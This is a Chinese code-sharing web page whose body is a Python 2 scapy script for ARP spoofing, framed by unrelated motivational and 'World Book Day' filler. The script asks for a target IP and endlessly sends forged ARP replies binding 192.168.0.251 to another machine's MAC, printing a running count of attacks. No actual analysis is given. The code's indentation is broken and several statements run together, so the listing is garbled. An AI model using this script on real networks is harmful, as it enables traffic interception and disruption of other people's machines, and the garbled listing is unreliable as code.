python发送arp欺骗攻击代码分析

仅有尝试过,努力过,坚持过,才能有收获。一分耕耘,一分收获,仅有努力了,才能绽放出成功的花朵。只要功夫深,铁杵磨成针。我相信,只要我朝着这个梦想努力奋斗,坚持不懈,那么,我就必须会成功!


# -*- coding: cp936 -*-
from scapy.all import *
from threading import Thread,Lock,activeCount

BROADCASTMAC = getmacbyip('192.168.0.120')

class Loop(Thread):
def __init__(self,ip):
Thread.__init__(self)
self.ip = ip def run(self):
global BROADCASTMAC
arp = ARP()
arp.psrc = '192.168.0.251'
arp.hwsrc = BROADCASTMAC
arp.pdst = self.ip
arp.op = 2
sr1(arp,verbose = 0,retry = 0,timeout = 3)

class Main(Thread):
def __init__(self,ip):
Thread.__init__(self)
self.ip = ip

def run(self):
limit = 100
total = 0
while True:
if activeCount() < limit:
Loop(self.ip).start()
total = total + 1
print '目前已进行了ARP攻击的次数为:'+str(total)if __name__ == '__main__':
ip = raw_input('请输入要进行ARP攻击的机器IP:') Main(ip = ip).start()

以上就是python发送arp欺骗攻击代码分析。世界读书日,无论是电子书还是纸质书,无论是励志书还是专业书,无论是文言文还是白话文,无论是书声琅琅还是默默诵读,只要我们有一颗读书的心,有一颗思考的脑,有一双明慧的眼,就能共同在书海里快乐地翱翔!更多关于python发送arp欺骗攻击代码分析请关注haodaima.com其它相关文章!

标签: python arp